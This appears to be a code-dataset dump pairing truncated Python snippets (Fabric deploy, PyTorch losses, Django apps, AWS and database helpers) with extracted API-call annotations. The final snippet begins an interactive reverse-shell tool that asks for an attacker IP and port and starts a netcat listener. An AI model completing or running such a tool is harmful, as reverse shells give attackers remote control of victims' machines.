] | [((1400, 1429), 'io.StringIO', 'StringIO', ([], {'initial_value': 'stdin'}), '(initial_value=stdin)\n', (1408, 1429), False, 'from io import StringIO\n'), ((435, 473), 'yurt.config.get_config', 'config.get_config', (['config.Key.ssh_port'], {}), '(config.Key.ssh_port)\n', (452, 473), False, 'from yurt import config\n')... |
"""
Fabric Commands Managing releases to Pypi
"""
from fabric.api import task, local
import shutil
@task(default=True)
def deploy():
"""
deploys package to production pypi
"""
local('python setup.py bdist_wheel')
local('twine upload dist/*')
clean()
@task()
def clean():
"""
removes ... | [
"fabric.api.local",
"fabric.api.task",
"shutil.rmtree"
] | [((103, 121), 'fabric.api.task', 'task', ([], {'default': '(True)'}), '(default=True)\n', (107, 121), False, 'from fabric.api import task, local\n'), ((280, 286), 'fabric.api.task', 'task', ([], {}), '()\n', (284, 286), False, 'from fabric.api import task, local\n'), ((195, 231), 'fabric.api.local', 'local', (['"""pyth... |
from turtle import forward
import torch
import torch.nn as nn
import torchvision
import pytorch_ssim
#from pytorch_msssim import ssim
from utils import SingletonPattern
from model import LayerOutputModelDecorator
from typing import List
def feature_reconstruction_loss(conv_layer_output: torch.Tensor, conv_layer_tar... | [
"pytorch_ssim.ssim",
"torch.nn.MSELoss",
"torch.numel",
"model.LayerOutputModelDecorator",
"torchvision.models.vgg16"
] | [((1040, 1070), 'torch.numel', 'torch.numel', (['conv_layer_output'], {}), '(conv_layer_output)\n', (1051, 1070), False, 'import torch\n'), ((2383, 2401), 'torch.nn.MSELoss', 'torch.nn.MSELoss', ([], {}), '()\n', (2399, 2401), False, 'import torch\n'), ((2986, 3058), 'model.LayerOutputModelDecorator', 'LayerOutputModel... |
# -*- coding: utf-8 -*-
from utils.container import Provider
from helpers.common import config
class CacheProvider(Provider):
'''注册一些缓存服务 memcache/redis'''
def register(self):
self.di['memcache'] = self.create_memcache
self.di['redis'] = self.create_redis
def create_memcache(self):
... | [
"helpers.common.config",
"redis.BlockingConnectionPool"
] | [((576, 618), 'redis.BlockingConnectionPool', 'BlockingConnectionPool', ([], {'max_connections': '(10)'}), '(max_connections=10)\n', (598, 618), False, 'from redis import Redis, BlockingConnectionPool\n'), ((403, 427), 'helpers.common.config', 'config', (['"""cache.memcache"""'], {}), "('cache.memcache')\n", (409, 427)... |
from .utils import (
make_valid_data,
create_arn as arn,
client_array_operation,
with_dimensions,
set_required_access_v2,
transformation,
get_ipurns_from_hostname,
)
from .registry import RegisteredResourceCollector
from schematics import Model
from schematics.types import StringType, ListTy... | [
"schematics.types.StringType",
"schematics.types.ModelType",
"schematics.types.IntType"
] | [((749, 774), 'schematics.types.StringType', 'StringType', ([], {'required': '(True)'}), '(required=True)\n', (759, 774), False, 'from schematics.types import StringType, ListType, ModelType, IntType\n'), ((787, 812), 'schematics.types.StringType', 'StringType', ([], {'required': '(True)'}), '(required=True)\n', (797, ... |
from django.shortcuts import render, get_object_or_404, redirect
from django.urls import reverse, reverse_lazy
from django.views.generic import TemplateView,ListView, DetailView, CreateView, UpdateView, DeleteView
from . import models
from . import forms
from django.utils import timezone
from django.contrib.auth.mixins... | [
"django.shortcuts.redirect",
"django.urls.reverse_lazy",
"django.utils.timezone.now",
"django.shortcuts.get_object_or_404",
"django.contrib.auth.logout",
"django.shortcuts.render"
] | [((2526, 2566), 'django.shortcuts.get_object_or_404', 'get_object_or_404', (['models.Article'], {'pk': 'pk'}), '(models.Article, pk=pk)\n', (2543, 2566), False, 'from django.shortcuts import render, get_object_or_404, redirect\n'), ((2600, 2641), 'django.shortcuts.redirect', 'redirect', (['"""BlogApp:Article-Detail"""'... |
'''
Created on 4 Sep 2014
@author: julianporter
'''
import pollinotify
import collections
class EventObserver(object):
def __init__(self,oBarrier,sBarrier,pipe,path='.',timeout=1000,mask=pollinotify.AllEvents):
self.oBarrier=oBarrier
self.sBarrier=sBarrier
self.oBarrier.acquire()
... | [
"collections.defaultdict",
"pollinotify.Watcher"
] | [((361, 396), 'collections.defaultdict', 'collections.defaultdict', (['(lambda : 0)'], {}), '(lambda : 0)\n', (384, 396), False, 'import collections\n'), ((416, 445), 'collections.defaultdict', 'collections.defaultdict', (['list'], {}), '(list)\n', (439, 445), False, 'import collections\n'), ((571, 592), 'pollinotify.W... |
"""
Django settings for spss_online project.
Generated by 'django-admin startproject' using Django 1.11.4.
For more information on this file, see
https://docs.djangoproject.com/en/1.11/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.11/ref/settings/
"""
impor... | [
"os.environ.get",
"os.path.abspath",
"os.path.join",
"boto.s3.connection.S3Connection"
] | [((732, 760), 'os.environ.get', 'os.environ.get', (['"""SECRET_KEY"""'], {}), "('SECRET_KEY')\n", (746, 760), False, 'import os\n'), ((3583, 3620), 'os.path.join', 'os.path.join', (['BASE_DIR', '"""staticfiles"""'], {}), "(BASE_DIR, 'staticfiles')\n", (3595, 3620), False, 'import os\n'), ((3783, 3814), 'os.path.join', ... |
import codecs
import logging
import math
from gensim.models import word2vec
import itertools
import pycrfsuite
import sys
from classification.ner.simpletagger import SimpleTaggerModel, create_entity, feature_extractors
from classification.results import ResultsNER, ResultsRE
from classification.rext.kernelmodels impor... | [
"word2vec_experiments.load_tair_relations",
"math.isnan",
"classification.results.ResultsRE",
"codecs.open",
"pycrfsuite.Tagger",
"text.pair.Pairs",
"logging.info",
"pycrfsuite.Trainer",
"gensim.models.word2vec.load_clusters",
"gensim.models.word2vec.load"
] | [((859, 880), 'word2vec_experiments.load_tair_relations', 'load_tair_relations', ([], {}), '()\n', (878, 880), False, 'from word2vec_experiments import load_tair_relations\n'), ((905, 967), 'gensim.models.word2vec.load', 'word2vec.load', (["('corpora/Thaliana/documents-processed' + '.bin')"], {}), "('corpora/Thaliana/d... |
from profane import import_all_modules
import_all_modules(__file__, __package__)
| [
"profane.import_all_modules"
] | [((40, 81), 'profane.import_all_modules', 'import_all_modules', (['__file__', '__package__'], {}), '(__file__, __package__)\n', (58, 81), False, 'from profane import import_all_modules\n')] |
import sys
import time
import requests
from API.AesDecrypt import decrypt, example
from API import UrlConstants
headers = {
"Host": "api.laomaoxs.com",
"Keep-Alive": "300",
"Connection": "Keep-Alive",
"Cache-Control": "no-cache",
"Accept-Encoding": "gzip",
"User-Agent": "Mozilla/5.0... | [
"requests.get",
"requests.post",
"sys.exit",
"time.sleep"
] | [((892, 913), 'time.sleep', 'time.sleep', (['(1 * count)'], {}), '(1 * count)\n', (902, 913), False, 'import time\n'), ((1017, 1028), 'sys.exit', 'sys.exit', (['(1)'], {}), '(1)\n', (1025, 1028), False, 'import sys\n'), ((1490, 1511), 'time.sleep', 'time.sleep', (['(1 * count)'], {}), '(1 * count)\n', (1500, 1511), Fal... |
import mariadb
from decouple import config
import sys
from update import *
def setup_db():
# Connect to MariaDB Platform
try:
conn = mariadb.connect(
user='root',
password='<PASSWORD>',
host='db',
database="planetside_data"
)
print('databa... | [
"mariadb.connect",
"sys.exit"
] | [((150, 245), 'mariadb.connect', 'mariadb.connect', ([], {'user': '"""root"""', 'password': '"""<PASSWORD>"""', 'host': '"""db"""', 'database': '"""planetside_data"""'}), "(user='root', password='<PASSWORD>', host='db', database=\n 'planetside_data')\n", (165, 245), False, 'import mariadb\n'), ((463, 474), 'sys.exit... |
# Generated by Django 3.2.9 on 2021-12-10 15:38
import cloudinary.models
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
(... | [
"django.db.models.TextField",
"django.db.models.URLField",
"django.db.migrations.swappable_dependency",
"django.db.models.OneToOneField",
"django.db.migrations.RemoveField",
"django.db.models.BigAutoField",
"django.db.migrations.DeleteModel",
"django.db.models.DateTimeField"
] | [((252, 309), 'django.db.migrations.swappable_dependency', 'migrations.swappable_dependency', (['settings.AUTH_USER_MODEL'], {}), '(settings.AUTH_USER_MODEL)\n', (283, 309), False, 'from django.db import migrations, models\n'), ((1180, 1238), 'django.db.migrations.RemoveField', 'migrations.RemoveField', ([], {'model_na... |
import os
print("""
1)Bash 6)Python
2)Netcat 7)Ruby
3)Perl 8)Socat
4)Pip 9)Telnet
5)Php 10)Vim
""")
select = str(input("Select Binary: "))
attackerip = str(input("Attacker IP: "))
attackerport = str(input("Attacker Port: "))
## PORT LISTEN
def ... | [
"os.system"
] | [((457, 493), 'os.system', 'os.system', (['f"""nc -lvp {attackerport}"""'], {}), "(f'nc -lvp {attackerport}')\n", (466, 493), False, 'import os\n')] |